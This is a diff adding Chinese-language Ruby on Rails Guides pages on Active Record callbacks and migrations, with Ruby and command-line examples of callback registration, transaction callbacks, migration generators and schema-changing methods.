回调也可以注册为仅被某些生命周期事件触发:

+
+class User < ApplicationRecord
+  before_validation :normalize_name, on: :create
+
+  # :on 选项的值也可以是数组
+  after_validation :set_location, on: [ :create, :update ]
+
+  private
+    def normalize_name
+      self.name = name.downcase.titleize
+    end
+
+    def set_location
+      self.location = LocationService.query(self)
+    end
+end
+
+
+
+

通常应该把回调定义为私有方法。如果把回调定义为公共方法,就可以从模型外部调用回调,这样做违反了对象封装原则。

3 可用的回调

下面按照回调在 Rails 应用正常运作期间被调用的顺序,列出所有可用的 Active Record 回调。

3.1 创建对象

+
    +
  • before_validation +
  • +
  • after_validation +
  • +
  • before_save +
  • +
  • around_save +
  • +
  • before_create +
  • +
  • around_create +
  • +
  • after_create +
  • +
  • after_save +
  • +
  • after_commit/after_rollback +
  • +
+

3.2 更新对象

+
    +
  • before_validation +
  • +
  • after_validation +
  • +
  • before_save +
  • +
  • around_save +
  • +
  • before_update +
  • +
  • around_update +
  • +
  • after_update +
  • +
  • after_save +
  • +
  • after_commit/after_rollback +
  • +
+

3.3 删除对象

+
    +
  • before_destroy +
  • +
  • around_destroy +
  • +
  • after_destroy +
  • +
  • after_commit/after_rollback +
  • +
+

无论按什么顺序注册回调,在创建和更新对象时,after_save 回调总是在更明确的 after_createafter_update 回调之后被调用。

3.4 after_initializeafter_find 回调

当 Active Record 对象被实例化时,不管是通过直接使用 new 方法还是从数据库加载记录,都会调用 after_initialize 回调。使用这个回调可以避免直接覆盖 Active Record 的 initialize 方法。

当 Active Record 从数据库中加载记录时,会调用 after_find 回调。如果同时定义了 after_initializeafter_find 回调,会先调用 after_find 回调。

after_initializeafter_find 回调没有对应的 before_* 回调,这两个回调的注册方式和其他 Active Record 回调一样。

+
+class User < ApplicationRecord
+  after_initialize do |user|
+    puts "You have initialized an object!"
+  end
+
+  after_find do |user|
+    puts "You have found an object!"
+  end
+end
+
+
+
+
+
+>> User.new
+You have initialized an object!
+=> #<User id: nil>
+
+>> User.first
+You have found an object!
+You have initialized an object!
+=> #<User id: 1>
+
+
+
+

3.5 after_touch 回调

当我们在 Active Record 对象上调用 touch 方法时,会调用 after_touch 回调。

+
+class User < ApplicationRecord
+  after_touch do |user|
+    puts "You have touched an object"
+  end
+end
+
+
+
+
+
+>> u = User.create(name: 'Kuldeep')
+=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
+
+>> u.touch
+You have touched an object
+=> true
+
+
+
+

after_touch 回调可以和 belongs_to 一起使用:

+
+class Employee < ApplicationRecord
+  belongs_to :company, touch: true
+  after_touch do
+    puts 'An Employee was touched'
+  end
+end
+
+class Company < ApplicationRecord
+  has_many :employees
+  after_touch :log_when_employees_or_company_touched
+
+  private
+  def log_when_employees_or_company_touched
+    puts 'Employee/Company was touched'
+  end
+end
+
+
+
+
+
+>> @employee = Employee.last
+=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
+
+# triggers @employee.company.touch
+>> @employee.touch
+Employee/Company was touched
+An Employee was touched
+=> true
+
+
+
+

4 调用回调

下面这些方法会触发回调:

+
    +
  • create +
  • +
  • create! +
  • +
  • decrement! +
  • +
  • destroy +
  • +
  • destroy! +
  • +
  • destroy_all +
  • +
  • increment! +
  • +
  • save +
  • +
  • save! +
  • +
  • save(validate: false) +
  • +
  • toggle! +
  • +
  • update_attribute +
  • +
  • update +
  • +
  • update! +
  • +
  • valid? +
  • +
+

此外,下面这些查找方法会触发 after_find 回调:

+
    +
  • all +
  • +
  • first +
  • +
  • find +
  • +
  • find_by +
  • +
  • find_by_* +
  • +
  • find_by_*! +
  • +
  • find_by_sql +
  • +
  • last +
  • +
+

每次初始化类的新对象时都会触发 after_initialize 回调。

find_by_*find_by_*! 方法是为每个属性自动生成的动态查找方法。关于动态查找方法的更多介绍,请参阅 动态查找方法

5 跳过回调

和验证一样,我们可以跳过回调。使用下面这些方法可以跳过回调:

+
    +
  • decrement +
  • +
  • decrement_counter +
  • +
  • delete +
  • +
  • delete_all +
  • +
  • increment +
  • +
  • increment_counter +
  • +
  • toggle +
  • +
  • touch +
  • +
  • update_column +
  • +
  • update_columns +
  • +
  • update_all +
  • +
  • update_counters +
  • +
+

请慎重地使用这些方法,因为有些回调包含了重要的业务规则和应用逻辑,在不了解潜在影响的情况下就跳过回调,可能导致无效数据。

6 停止执行

回调在模型中注册后,将被加入队列等待执行。这个队列包含了所有模型的验证、已注册的回调和将要执行的数据库操作。

整个回调链包装在一个事务中。只要有回调抛出异常,回调链随即停止,并且发出 ROLLBACK 消息。如果想故意停止回调链,可以这么做:

+
+throw :abort
+
+
+
+

当回调链停止后,Rails 会重新抛出除了 ActiveRecord::RollbackActiveRecord::RecordInvalid 之外的其他异常。这可能导致那些预期 saveupdate_attributes 等方法(通常返回 truefalse )不会引发异常的代码出错。

7 关联回调

回调不仅可以在模型关联中使用,还可以通过模型关联定义。假设有一个用户在博客中发表了多篇文章,现在我们要删除这个用户,那么这个用户的所有文章也应该删除,为此我们通过 Article 模型和 User 模型的关联来给 User 模型添加一个 after_destroy 回调:

+
+class User < ApplicationRecord
+  has_many :articles, dependent: :destroy
+end
+
+class Article < ApplicationRecord
+  after_destroy :log_destroy_action
+
+  def log_destroy_action
+    puts 'Article destroyed'
+  end
+end
+
+
+
+
+
+>> user = User.first
+=> #<User id: 1>
+>> user.articles.create!
+=> #<Article id: 1, user_id: 1>
+>> user.destroy
+Article destroyed
+=> #<User id: 1>
+
+
+
+

8 条件回调

和验证一样,我们可以在满足指定条件时再调用回调方法。为此,我们可以使用 :if:unless 选项,选项的值可以是符号、Proc 或数组。要想指定在哪些条件下调用回调,可以使用 :if 选项。要想指定在哪些条件下不调用回调,可以使用 :unless 选项。

8.1 使用符号作为 :if:unless 选项的值

可以使用符号作为 :if:unless 选项的值,这个符号用于表示先于回调调用的断言方法。当使用 :if 选项时,如果断言方法返回 false 就不会调用回调;当使用 :unless 选项时,如果断言方法返回 true 就不会调用回调。使用符号作为 :if:unless 选项的值是最常见的方式。在使用这种方式注册回调时,我们可以同时使用几个不同的断言,用于检查是否应该调用回调。

+
+class Order < ApplicationRecord
+  before_save :normalize_card_number, if: :paid_with_card?
+end
+
+
+
+

8.2 使用 Proc 作为 :if:unless 选项的值

最后,可以使用 Proc 作为 :if:unless 选项的值。在验证方法非常短时最适合使用这种方式,这类验证方法通常只有一行代码:

+
+class Order < ApplicationRecord
+  before_save :normalize_card_number,
+    if: Proc.new { |order| order.paid_with_card? }
+end
+
+
+
+

8.3 在条件回调中使用多个条件

在编写条件回调时,我们可以在同一个回调声明中混合使用 :if:unless 选项:

+
+class Comment < ApplicationRecord
+  after_create :send_email_to_author, if: :author_wants_emails?,
+    unless: Proc.new { |comment| comment.article.ignore_comments? }
+end
+
+
+
+

9 回调类

有时需要在其他模型中重用已有的回调方法,为了解决这个问题,Active Record 允许我们用类来封装回调方法。有了回调类,回调方法的重用就变得非常容易。

在下面的例子中,我们为 PictureFile 模型创建了 PictureFileCallbacks 回调类,在这个回调类中包含了 after_destroy 回调方法:

+
+class PictureFileCallbacks
+  def after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+
+
+
+

在上面的代码中我们可以看到,当在回调类中声明回调方法时,回调方法接受模型对象作为参数。回调类定义之后就可以在模型中使用了:

+
+class PictureFile < ApplicationRecord
+  after_destroy PictureFileCallbacks.new
+end
+
+
+
+

请注意,上面我们把回调声明为实例方法,因此需要实例化新的 PictureFileCallbacks 对象。当回调想要使用实例化的对象的状态时,这种声明方式特别有用。尽管如此,一般我们会把回调声明为类方法:

+
+class PictureFileCallbacks
+  def self.after_destroy(picture_file)
+    if File.exist?(picture_file.filepath)
+      File.delete(picture_file.filepath)
+    end
+  end
+end
+
+
+
+

如果把回调声明为类方法,就不需要实例化新的 PictureFileCallbacks 对象。

+
+class PictureFile < ApplicationRecord
+  after_destroy PictureFileCallbacks
+end
+
+
+
+

我们可以根据需要在回调类中声明任意多个回调。

10 事务回调

after_commitafter_rollback 这两个回调会在数据库事务完成时触发。它们和 after_save 回调非常相似,区别在于它们在数据库变更已经提交或回滚后才会执行,常用于 Active Record 模型需要和数据库事务之外的系统交互的场景。

例如,在前面的例子中,PictureFile 模型中的记录删除后,还要删除相应的文件。如果 after_destroy 回调执行后应用引发异常,事务就会回滚,文件会被删除,模型会保持不一致的状态。例如,假设在下面的代码中,picture_file_2 对象是无效的,那么调用 save! 方法会引发错误:

+
+PictureFile.transaction do
+  picture_file_1.destroy
+  picture_file_2.save!
+end
+
+
+
+

通过使用 after_commit 回调,我们可以解决这个问题:

+
+class PictureFile < ApplicationRecord
+  after_commit :delete_picture_file_from_disk, on: :destroy
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
+end
+
+
+
+

:on 选项说明什么时候触发回调。如果不提供 :on 选项,那么每个动作都会触发回调。

由于只在执行创建、更新或删除动作时触发 after_commit 回调是很常见的,这些操作都拥有别名:

+
    +
  • after_create_commit +
  • +
  • after_update_commit +
  • +
  • after_destroy_commit +
  • +
+
+
+class PictureFile < ApplicationRecord
+  after_destroy_commit :delete_picture_file_from_disk
+
+  def delete_picture_file_from_disk
+    if File.exist?(filepath)
+      File.delete(filepath)
+    end
+  end
+end
+
+
+
+

在事务中创建、更新或删除模型时会调用 after_commitafter_rollback 回调。然而,如果其中有一个回调引发异常,异常会向上冒泡,后续 after_commitafter_rollback 回调不再执行。因此,如果回调代码可能引发异常,就需要在回调中救援并进行适当处理,以便让其他回调继续运行。

+ +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/active_record_migrations.html b/active_record_migrations.html new file mode 100644 index 0000000..52cbfd8 --- /dev/null +++ b/active_record_migrations.html @@ -0,0 +1,907 @@ + + + + + + + +Active Record 迁移 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Active Record 迁移

迁移是 Active Record 的一个特性,允许我们按时间顺序管理数据库模式。有了迁移,就不必再用纯 SQL 来修改数据库模式,而是可以使用简单的 Ruby DSL 来描述对数据表的修改。

读完本文后,您将学到:

+
    +
  • 用于创建迁移的生成器;
  • +
  • Active Record 提供的用于操作数据库的方法;
  • +
  • 用于操作迁移和数据库模式的 bin/rails 任务;
  • +
  • 迁移和 schema.rb 文件的关系。
  • +
+ + + + +
+
+ +
+
+
+

1 迁移概述

迁移是以一致和轻松的方式按时间顺序修改数据库模式的实用方法。它使用 Ruby DSL,因此不必手动编写 SQL,从而实现了数据库无关的数据库模式的创建和修改。

我们可以把迁移看做数据库的新“版本”。数据库模式一开始并不包含任何内容,之后通过一个个迁移来添加或删除数据表、字段和记录。 +Active Record 知道如何沿着时间线更新数据库模式,使其从任何历史版本更新为最新版本。Active Record 还会更新 db/schema.rb 文件,以匹配最新的数据库结构。

下面是一个迁移的示例:

+
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

这个迁移用于添加 products 数据表,数据表中包含 name 字符串字段和 description 文本字段。同时隐式添加了 id 主键字段,这是所有 Active Record 模型的默认主键。timestamps 宏添加了 created_atupdated_at 两个字段。后面这几个特殊字段只要存在就都由 Active Record 自动管理。

注意这里定义的对数据库的修改是按时间进行的。在这个迁移运行之前,数据表还不存在。在这个迁移运行之后,数据表就被创建了。Active Record 还知道如何撤销这个迁移:如果我们回滚这个迁移,数据表就会被删除。

对于支持事务并提供了用于修改数据库模式的语句的数据库,迁移被包装在事务中。如果数据库不支持事务,那么当迁移失败时,已成功的那部分操作将无法回滚。这种情况下只能手动完成相应的回滚操作。

某些查询不能在事务内部运行。如果数据库适配器支持 DDL 事务,就可以使用 disable_ddl_transaction! 方法在某个迁移中临时禁用事务。

如果想在迁移中完成一些 Active Record 不知如何撤销的操作,可以使用 reversible 方法:

+
+class ChangeProductsPrice < ActiveRecord::Migration[5.0]
+  def change
+    reversible do |dir|
+      change_table :products do |t|
+        dir.up   { t.change :price, :string }
+        dir.down { t.change :price, :integer }
+      end
+    end
+  end
+end
+
+
+
+

或者用 updown 方法来代替 change 方法:

+
+class ChangeProductsPrice < ActiveRecord::Migration[5.0]
+  def up
+    change_table :products do |t|
+      t.change :price, :string
+    end
+  end
+
+  def down
+    change_table :products do |t|
+      t.change :price, :integer
+    end
+  end
+end
+
+
+
+

2 创建迁移

2.1 创建独立的迁移

迁移文件储存在 db/migrate 文件夹中,一个迁移文件包含一个迁移类。文件名采用 YYYYMMDDHHMMSS_create_products.rb 形式,即 UTC 时间戳加上下划线再加上迁移的名称。迁移类的名称(驼峰式)应该匹配文件名中迁移的名称。例如,在 20080906120000_create_products.rb 文件中应该定义 CreateProducts 类,在 20080906120001_add_details_to_products.rb 文件中应该定义 AddDetailsToProducts 类。Rails 根据文件名的时间戳部分确定要运行的迁移和迁移运行的顺序,因此当需要把迁移文件复制到其他 Rails 应用,或者自己生成迁移文件时,一定要注意迁移运行的顺序。

当然,计算时间戳不是什么有趣的事,因此 Active Record 提供了生成器:

+
+$ bin/rails generate migration AddPartNumberToProducts
+
+
+
+

上面的命令会创建空的迁移,并进行适当命名:

+
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+  end
+end
+
+
+
+

如果迁移名称是 AddXXXToYYYRemoveXXXFromYYY 的形式,并且后面跟着字段名和类型列表,那么会生成包含合适的 add_columnremove_column 语句的迁移。

+
+$ bin/rails generate migration AddPartNumberToProducts part_number:string
+
+
+
+

上面的命令会生成:

+
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+  end
+end
+
+
+
+

还可以像下面这样在新建字段上添加索引:

+
+$ bin/rails generate migration AddPartNumberToProducts part_number:string:index
+
+
+
+

上面的命令会生成:

+
+class AddPartNumberToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+    add_index :products, :part_number
+  end
+end
+
+
+
+

类似地,还可以生成用于删除字段的迁移:

+
+$ bin/rails generate migration RemovePartNumberFromProducts part_number:string
+
+
+
+

上面的命令会生成:

+
+class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0]
+  def change
+    remove_column :products, :part_number, :string
+  end
+end
+
+
+
+

还可以生成用于添加多个字段的迁移,例如:

+
+$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal
+
+
+
+

上面的命令会生成:

+
+class AddDetailsToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :part_number, :string
+    add_column :products, :price, :decimal
+  end
+end
+
+
+
+

如果迁移名称是 CreateXXX 的形式,并且后面跟着字段名和类型列表,那么会生成用于创建包含指定字段的 XXX 数据表的迁移。例如:

+
+$ bin/rails generate migration CreateProducts name:string part_number:string
+
+
+
+

上面的命令会生成:

+
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.string :part_number
+    end
+  end
+end
+
+
+
+

和往常一样,上面的命令生成的代码只是一个起点,我们可以修改 db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb 文件,根据需要增删代码。

生成器也接受 references 字段类型作为参数(还可使用 belongs_to),例如:

+
+$ bin/rails generate migration AddUserRefToProducts user:references
+
+
+
+

上面的命令会生成:

+
+class AddUserRefToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_reference :products, :user, foreign_key: true
+  end
+end
+
+
+
+

这个迁移会创建 user_id 字段并添加索引。关于 add_reference 选项的更多介绍,请参阅 API 文档

如果迁移名称中包含 JoinTable,生成器会创建联结数据表:

+
+$ bin/rails g migration CreateJoinTableCustomerProduct customer product
+
+
+
+

上面的命令会生成:

+
+class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0]
+  def change
+    create_join_table :customers, :products do |t|
+      # t.index [:customer_id, :product_id]
+      # t.index [:product_id, :customer_id]
+    end
+  end
+end
+
+
+
+

2.2 模型生成器

模型和脚手架生成器会生成适用于添加新模型的迁移。这些迁移中已经包含用于创建有关数据表的指令。如果我们告诉 Rails 想要哪些字段,那么添加这些字段所需的语句也会被创建。例如,运行下面的命令:

+
+$ bin/rails generate model Product name:string description:text
+
+
+
+

上面的命令会创建下面的迁移:

+
+class CreateProducts < ActiveRecord::Migration[5.0]
+  def change
+    create_table :products do |t|
+      t.string :name
+      t.text :description
+
+      t.timestamps
+    end
+  end
+end
+
+
+
+

我们可以根据需要添加“字段名称/类型”对,没有数量限制。

2.3 传递修饰符

可以直接在命令行中传递常用的类型修饰符。这些类型修饰符用大括号括起来,放在字段类型之后。例如,运行下面的命令:

+
+$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
+
+
+
+

上面的命令会创建下面的迁移:

+
+class AddDetailsToProducts < ActiveRecord::Migration[5.0]
+  def change
+    add_column :products, :price, :decimal, precision: 5, scale: 2
+    add_reference :products, :supplier, polymorphic: true
+  end
+end
+
+
+
+

关于传递修饰符的更多介绍,请参阅生成器的命令行帮助信息。

3 编写迁移

使用生成器创建迁移后,就可以开始写代码了。

3.1 创建数据表

create_table 方法是最基础、最常用的方法,其代码通常是由模型或脚手架生成器生成的。典型的用法像下面这样:

+
+create_table :products do |t|
+  t.string :name
+end
+
+
+
+

上面的命令会创建包含 name 字段的 products 数据表(后面会介绍,数据表还包含自动创建的 id 字段)。

默认情况下,create_table 方法会创建 id 主键。可以用 :primary_key 选项来修改主键名称,还可以传入 id: false 选项以禁用主键。如果需要传递数据库特有的选项,可以在 :options 选项中使用 SQL 代码片段。例如:

+
+create_table :products, options: "ENGINE=BLACKHOLE" do |t|
+  t.string :name, null: false
+end
+
+
+
+

上面的代码会在用于创建数据表的 SQL 语句末尾加上 ENGINE=BLACKHOLE(如果使用 MySQL 或 MarialDB,默认选项是 ENGINE=InnoDB)。

还可以传递带有数据表描述信息的 :comment 选项,这些注释会被储存在数据库中,可以使用 MySQL Workbench、PgAdmin III 等数据库管理工具查看。对于大型数据库,强列推荐在应用的迁移中添加注释。目前只有 MySQL 和 PostgreSQL 适配器支持注释功能。

3.2 创建联结数据表

create_join_table 方法用于创建 HABTM(has and belongs to many)联结数据表。典型的用法像下面这样:

+
+create_join_table :products, :categories
+
+
+
+

上面的代码会创建包含 category_idproduct_id 字段的 categories_products 数据表。这两个字段的 :null 选项默认设置为 false,可以通过 :column_options 选项覆盖这一设置:

+
+create_join_table :products, :categories, column_options: { null: true }
+
+
+
+

联结数据表的名称默认由 create_join_table 方法的前两个参数按字母顺序组合而来。可以传入 :table_name 选项来自定义联结数据表的名称:

+
+create_join_table :products, :categories, table_name: :categorization
+
+
+
+

上面的代码会创建 categorization 数据表。

create_join_table 方法也接受块作为参数,用于添加索引(默认未创建的索引)或附加字段:

+
+create_join_table :products, :categories do |t|
+  t.index :product_id
+  t.index :category_id
+end
+
+
+
+

3.3 修改数据表

change_table 方法和 create_table 非常类似,用于修改现有的数据表。它的用法和 create_table 方法风格类似,但传入块的对象有更多用法。例如:

+
+change_table :products do |t|
+  t.remove :description, :name
+  t.string :part_number
+  t.index :part_number
+  t.rename :upccode, :upc_code
+end
+
+
+
+

上面的代码删除 descriptionname 字段,创建 part_number 字符串字段并添加索引,最后重命名 upccode 字段。

3.4 修改字段

Rails 提供了与 remove_columnadd_column 类似的 change_column 迁移方法。

+
+change_column :products, :part_number, :text
+
+
+
+

上面的代码把 products 数据表的 part_number 字段修改为 :text 字段。请注意 change_column 命令是无法撤销的。

change_column 方法之外,还有 change_column_nullchange_column_default 方法,前者专门用于设置字段可以为空或不可以为空,后者专门用于修改字段的默认值。

+
+change_column_null :products, :name, false
+change_column_default :products, :approved, from: true, to: false
+
+
+
+

上面的代码把 products 数据表的 :name 字段设置为 NOT NULL 字段,把 :approved 字段的默认值由 true 修改为 false

注意:也可以把上面的 change_column_default 迁移写成 change_column_default :products, :approved, false,但这种写法是无法撤销的。

3.5 字段修饰符

字段修饰符可以在创建或修改字段时使用:

+
    +
  • limit 修饰符:设置 string/text/binary/integer 字段的最大长度。
  • +
  • precision 修饰符:定义 decimal 字段的精度,表示数字的总位数。
  • +
  • scale 修饰符:定义 decimal 字段的标度,表示小数点后的位数。
  • +
  • polymorphic 修饰符:为 belongs_to 关联添加 type 字段。
  • +
  • null 修饰符:设置字段能否为 NULL 值。
  • +
  • default 修饰符:设置字段的默认值。请注意,如果使用动态值(如日期)作为默认值,那么默认值只会在第一次使时(如应用迁移的日期)计算一次。
  • +
  • index 修饰符:为字段添加索引。
  • +
  • comment 修饰符:为字段添加注释。
  • +
+

有的适配器可能支持附加选项,更多介绍请参阅相应适配器的 API 文档。

3.6 外键

尽管不是必需的,但有时我们需要使用外键约束以保证引用完整性。

+
+add_foreign_key :articles, :authors
+
+
+
+

上面的代码为 articles 数据表的 author_id 字段添加外键,这个外键会引用 authors 数据表的 id 字段。如果字段名不能从表名称推导出来,我们可以使用 :column:primary_key 选项。

Rails 会为每一个外键生成以 fk_rails_ 开头并且后面紧跟着 10 个字符的外键名,外键名是根据 from_tablecolumn 推导出来的。需要时可以使用 :name 来指定外键名。

Active Record 只支持单字段外键,要想使用复合外键就需要 execute 方法和 structure.sql。更多介绍请参阅 数据库模式转储

删除外键也很容易:

+
+# 让 Active Record 找出列名
+remove_foreign_key :accounts, :branches
+
+# 删除特定列上的外键
+remove_foreign_key :accounts, column: :owner_id
+
+# 通过名称删除外键
+remove_foreign_key :accounts, name: :special_fk_name
+
+
+
+

3.7 如果辅助方法不够用

如果 Active Record 提供的辅助方法不够用,可以使用 excute 方法执行任意 SQL 语句:

+
+Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1")
+
+
+
+

关于各个方法的更多介绍和例子,请参阅 API 文档。尤其是 ActiveRecord::ConnectionAdapters::SchemaStatements 的文档(在 changeupdown 方法中可以使用的方法)、ActiveRecord::ConnectionAdapters::TableDefinition 的文档(在 create_table 方法的块中可以使用的方法)和 ActiveRecord::ConnectionAdapters::Table 的文档(在 change_table 方法的块中可以使用的方法)。

3.8 使用 change 方法

change 方法是编写迁移时最常用的。在大多数情况下,Active Record 知道如何自动撤销用 change 方法编写的迁移。目前,在 change 方法中只能使用下面这些方法:

+
    +
  • add_column +
  • +
  • add_foreign_key +
  • +
  • add_index +
  • +
  • add_reference +
  • +
  • add_timestamps +
  • +
  • change_column_default(必须提供 :from:to 选项)
  • +
  • change_column_null +
  • +
  • create_join_table +
  • +
  • create_table +
  • +
  • disable_extension +
  • +
  • drop_join_table +
  • +
  • drop_table(必须提供块)
  • +
  • enable_extension +
  • +
  • remove_column(必须提供字段类型)
  • +
  • remove_foreign_key(必须提供第二个数据表)
  • +
  • remove_index +
  • +
  • remove_reference +
  • +
  • remove_timestamps +
  • +
  • rename_column +
  • +
  • rename_index +
  • +
  • rename_table +
  • +
+

如果在块中不使用 changechange_defaultremove 方法,那么 change_table 方法也是可撤销的。

如果提供了字段类型作为第三个参数,那么 remove_column 是可撤销的。别忘了提供原来字段的选项,否则 Rails 在回滚时就无法准确地重建字段了:

+
+remove_column :posts, :slug, :string, null: false, default: '', index: true
+
+
+
+

如果需要使用其他方法,可以用 reversible 方法或者 updown 方法来代替 change 方法。

3.9 使用 reversible 方法

撤销复杂迁移所需的操作有一些是 Rails 无法自动完成的,这时可以使用 reversible 方法指定运行和撤销迁移所需的操作。例如:

+
+class ExampleMigration < ActiveRecord::Migration[5.0]
+  def change
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    reversible do |dir|
+      dir.up do
+        # 添加 CHECK 约束
+        execute <<-SQL
+          ALTER TABLE distributors
+            ADD CONSTRAINT zipchk
+              CHECK (char_length(zipcode) = 5) NO INHERIT;
+        SQL
+      end
+      dir.down do
+        execute <<-SQL
+          ALTER TABLE distributors
+            DROP CONSTRAINT zipchk
+        SQL
+      end
+    end
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+end
+
+
+
+

使用 reversible 方法可以确保指令按正确的顺序执行。在上面的代码中,撤销迁移时,down 块会在删除 home_page_url 字段之后、删除 distributors 数据表之前运行。

有时,迁移执行的操作是无法撤销的,例如删除数据。在这种情况下,我们可以在 down 块中抛出 ActiveRecord::IrreversibleMigration 异常。这样一旦尝试撤销迁移,就会显示无法撤销迁移的出错信息。

3.10 使用 updown 方法

可以使用 updown 方法以传统风格编写迁移而不使用 change 方法。up 方法用于描述对数据库模式所做的改变,down 方法用于撤销 up 方法所做的改变。换句话说,如果调用 up 方法之后紧接着调用 down 方法,数据库模式不会发生任何改变。例如用 up 方法创建数据表,就应该用 down 方法删除这个数据表。在 down 方法中撤销迁移时,明智的做法是按照和 up 方法中操作相反的顺序执行操作。下面的例子和上一节中的例子的功能完全相同:

+
+class ExampleMigration < ActiveRecord::Migration[5.0]
+  def up
+    create_table :distributors do |t|
+      t.string :zipcode
+    end
+
+    # 添加 CHECK 约束
+    execute <<-SQL
+      ALTER TABLE distributors
+        ADD CONSTRAINT zipchk
+        CHECK (char_length(zipcode) = 5);
+    SQL
+
+    add_column :users, :home_page_url, :string
+    rename_column :users, :email, :email_address
+  end
+
+  def down
+    rename_column :users, :email_address, :email
+    remove_column :users, :home_page_url
+
+    execute <<-SQL
+      ALTER TABLE distributors
+        DROP CONSTRAINT zipchk
+    SQL
+
+    drop_table :distributors
+  end
+end
+
+
+
+

对于无法撤销的迁移,应该在 down 方法中抛出 ActiveRecord::IrreversibleMigration 异常。这样一旦尝试撤销迁移,就会显示无法撤销迁移的出错信息。

3.11 撤销之前的迁移

Active Record 提供了 revert 方法用于回滚迁移:

+
+require_relative '20121212123456_example_migration'
+
+class FixupExampleMigration < ActiveRecord::Migration[5.0]
+  def change
+    revert ExampleMigration
+
+    create_table(:apples) do |t|
+      t.string :variety
+    end
+  end
+end
+
+
+
+

revert 方法也接受块,在块中可以定义用于撤销迁移的指令。如果只是想要撤销之前迁移的部分操作,就可以使用块。例如,假设有一个 ExampleMigration 迁移已经执行,但后来发现应该用 ActiveRecord 验证代替 CHECK 约束来验证邮编,那么可以像下面这样编写迁移:

+
+class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0]
+  def change
+    revert do
+      # 从  ExampleMigration 中复制粘贴代码
+      reversible do |dir|
+        dir.up do
+          # 添加 CHECK 约束
+          execute <<-SQL
+            ALTER TABLE distributors
+              ADD CONSTRAINT zipchk
+                CHECK (char_length(zipcode) = 5);
+          SQL
+        end
+        dir.down do
+          execute <<-SQL
+            ALTER TABLE distributors
+              DROP CONSTRAINT zipchk
+          SQL
+        end
+      end
+
+      # ExampleMigration 中的其他操作无需撤销
+    end
+  end
+end
+
+
+
+

不使用 revert 方法也可以编写出和上面的迁移功能相同的迁移,但需要更多步骤:调换 create_table 方法和 reversible 方法的顺序,用 drop_table 方法代替 create_table 方法,最后对调 updown 方法。换句话说,这么多步骤用一个 revert 方法就可以代替。

要想像上面的例子一样添加 CHECK 约束,必须使用 structure.sql 作为转储方式。请参阅 数据库模式转储

4 运行迁移

Rails 提供了一套用于运行迁移的 bin/rails 任务。其中最常用的是 rails db:migrate 任务,用于调用所有未运行的迁移中的 chagneup 方法。如果没有未运行的迁移,任务会直接退出。调用顺序是根据迁移文件名的时间戳确定的。

请注意,执行 db:migrate 任务时会自动执行 db:schema:dump 任务,这个任务用于更新 db/schema.rb 文件,以匹配数据库结构。

如果指定了目标版本,Active Record 会运行该版本之前的所有迁移(调用其中的 changeupdown 方法),其中版本指的是迁移文件名的数字前缀。例如,下面的命令会运行 20080906120000 版本之前的所有迁移:

+
+$ bin/rails db:migrate VERSION=20080906120000
+
+
+
+

如果版本 20080906120000 高于当前版本(换句话说,是向上迁移),上面的命令会按顺序运行迁移直到运行完 20080906120000 版本,之后的版本都不会运行。如果是向下迁移(即版本 20080906120000 低于当前版本),上面的命令会按顺序运行 20080906120000 版本之前的所有迁移,不包括 20080906120000 版本。

4.1 回滚

另一个常用任务是回滚最后一个迁移。例如,当发现最后一个迁移中有错误需要修正时,就可以执行回滚任务。回滚最后一个迁移不需要指定这个迁移的版本,直接执行下面的命令即可:

+
+$ bin/rails db:rollback
+
+
+
+

上面的命令通过撤销 change 方法或调用 down 方法来回滚最后一个迁移。要想取消多个迁移,可以使用 STEP 参数:

+
+$ bin/rails db:rollback STEP=3
+
+
+
+

上面的命令会撤销最后三个迁移。

db:migrate:redo 任务用于回滚最后一个迁移并再次运行这个迁移。和 db:rollback 任务一样,如果需要重做多个迁移,可以使用 STEP 参数,例如:

+
+$ bin/rails db:migrate:redo STEP=3
+
+
+
+

这些 bin/rails 任务可以完成的操作,通过 db:migrate 也都能完成,区别在于这些任务使用起来更方便,无需显式指定迁移的版本。

4.2 安装数据库

rails db:setup 任务用于创建数据库,加载数据库模式,并使用种子数据初始化数据库。

4.3 重置数据库

rails db:reset 任务用于删除并重新创建数据库,其功能相当于 rails db:drop db:setup

